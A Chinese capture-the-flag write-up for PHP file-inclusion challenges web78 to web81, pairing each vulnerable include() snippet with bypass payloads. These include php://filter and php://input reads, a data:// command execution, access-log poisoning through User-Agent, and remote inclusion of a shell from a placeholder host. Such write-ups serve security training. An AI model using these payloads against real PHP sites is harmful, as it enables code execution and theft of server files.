web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
file 看到include,就想到了伪协议
php://filter
url/?file=php://filter/read=convert.base64-encode/resource=flag.php


Web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
两种方法
php://input
/ file=phP://input
POST : <?php echo file_get_contents('flag.php');?>
php://data
/ ?file=data://text/plain,<?=`tac fl*`;?>

Web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
日志包含
访问 /?file=/var/log/nginx/access.log

为了防止url编码,需要在burp中修改User-Agent,抓包的话更方便


不连接的话,也可以在前端输入
<?php system(‘cat flag.php’);?>

然后看源码,由于是注释所以页面没显示出来

远程文件包含
?url=http://xxx.xxx.xxx.xxx/shell.***



web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同80解


博客围绕PHP相关内容展开,提及看到include会联想到伪协议,介绍了php://filter、php://input、php://data等伪协议。还阐述了日志包含和远程文件包含,如访问特定日志文件,可在burp中修改User - Agent或前端输入,最后指出web81与web80解法相同。

被折叠的 条评论
为什么被折叠?



